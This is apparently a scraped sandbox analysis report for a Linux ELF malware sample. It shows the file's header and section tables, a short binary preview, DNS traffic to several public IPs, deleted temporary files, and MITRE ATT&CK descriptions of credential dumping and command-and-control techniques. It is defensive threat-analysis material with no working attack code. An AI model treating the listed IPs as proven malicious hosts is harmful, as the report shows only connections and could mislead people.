File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@.h...h.....................A...A.l...............Q.td............................././"O.n........#.@........#.*@l....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	37296
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x8080	0x0	0x6	AX	32
.fini	PROGBITS	0x408160	0x8160	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x408184	0x8184	0xde4	0x0	0x2	A	4
.ctors	PROGBITS	0x419000	0x9000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x419008	0x9008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x419010	0x9010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x419014	0x9014	0x158	0x0	0x3	WA	4
.bss	NOBITS	0x41916c	0x916c	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x916c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x8f68	0x8f68	6.7152	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x9000	0x419000	0x419000	0x16c	0x1304	0.7225	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 04:01:46.848442078 CET	57054	53	192.168.2.23	202.61.197.122
Dec 24, 2024 04:01:47.104343891 CET	53	57054	202.61.197.122	192.168.2.23
Dec 24, 2024 04:01:58.659704924 CET	56488	53	192.168.2.23	152.53.15.127
Dec 24, 2024 04:01:58.899534941 CET	53	56488	152.53.15.127	192.168.2.23
Dec 24, 2024 04:02:11.140830994 CET	60748	53	192.168.2.23	51.158.108.203
Dec 24, 2024 04:02:11.379450083 CET	53	60748	51.158.108.203	192.168.2.23
Dec 24, 2024 04:02:23.609021902 CET	57099	53	192.168.2.23	81.169.136.222
Dec 24, 2024 04:02:23.847376108 CET	53	57099	81.169.136.222	192.168.2.23
Dec 24, 2024 04:02:36.076433897 CET	55685	53	192.168.2.23	202.61.197.122
Dec 24, 2024 04:02:36.318979025 CET	53	55685	202.61.197.122	192.168.2.23
Dec 24, 2024 04:02:48.551305056 CET	52469	53	192.168.2.23	194.36.144.87
Dec 24, 2024 04:02:48.794840097 CET	53	52469	194.36.144.87	192.168.2.23
Dec 24, 2024 04:03:01.027750969 CET	52796	53	192.168.2.23	202.61.197.122
Dec 24, 2024 04:03:01.275450945 CET	53	52796	202.61.197.122	192.168.2.23
Dec 24, 2024 04:03:12.824970961 CET	47336	53	192.168.2.23	194.36.144.87
Dec 24, 2024 04:03:13.104819059 CET	53	47336	194.36.144.87	192.168.2.23
Dec 24, 2024 04:03:25.336272001 CET	48464	53	192.168.2.23	81.169.136.222
Dec 24, 2024 04:03:25.574110985 CET	53	48464	81.169.136.222	192.168.2.23
Dec 24, 2024 04:03:37.807169914 CET	45810	53	192.168.2.23	185.181.61.24
Dec 24, 2024 04:03:38.067336082 CET	53	45810	185.181.61.24	192.168.2.23
Dec 24, 2024 04:03:50.297816992 CET	57186	53	192.168.2.23	194.36.144.87
Dec 24, 2024 04:03:50.545718908 CET	53	57186	194.36.144.87	192.168.2.23

Start time (UTC):	03:01:45
Start date (UTC):	24/12/2024
Path:	/tmp/nabsh4.elf
Arguments:	/tmp/nabsh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabsh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.07U30B (deleted)

/tmp/qemu-open.0DTJdE (deleted)

/tmp/qemu-open.0dYlKD (deleted)

/tmp/qemu-open.1ZTckB (deleted)

/tmp/qemu-open.2CVhuB (deleted)

/tmp/qemu-open.2IKEXA (deleted)

/tmp/qemu-open.37FM5E (deleted)

/tmp/qemu-open.3uh95C (deleted)

/tmp/qemu-open.3ywOLE (deleted)

/tmp/qemu-open.4Py2pB (deleted)

/tmp/qemu-open.4UW85B (deleted)

/tmp/qemu-open.4UfyvD (deleted)

/tmp/qemu-open.5toocD (deleted)

/tmp/qemu-open.6Gj5ZC (deleted)

/tmp/qemu-open.6eKvMA (deleted)

/tmp/qemu-open.73WqRD (deleted)

/tmp/qemu-open.8AG0bE (deleted)

/tmp/qemu-open.8E5ilD (deleted)

/tmp/qemu-open.8RypNB (deleted)

/tmp/qemu-open.8cCgzB (deleted)

/tmp/qemu-open.94PGbC (deleted)

/tmp/qemu-open.95m0SA (deleted)

/tmp/qemu-open.AF5S6C (deleted)

/tmp/qemu-open.AHe5kB (deleted)

/tmp/qemu-open.ALqe9D (deleted)

/tmp/qemu-open.BHxv1C (deleted)

/tmp/qemu-open.BgXpHC (deleted)

/tmp/qemu-open.C4kXQB (deleted)

/tmp/qemu-open.CSo4fE (deleted)

/tmp/qemu-open.DVramB (deleted)

/tmp/qemu-open.DxP5UE (deleted)

/tmp/qemu-open.E5rBpC (deleted)

/tmp/qemu-open.Ei5rrB (deleted)

Linux Analysis Report
nabsh4.elf

Start time (UTC):	03:01:46
Start date (UTC):	24/12/2024
Path:	/tmp/nabsh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre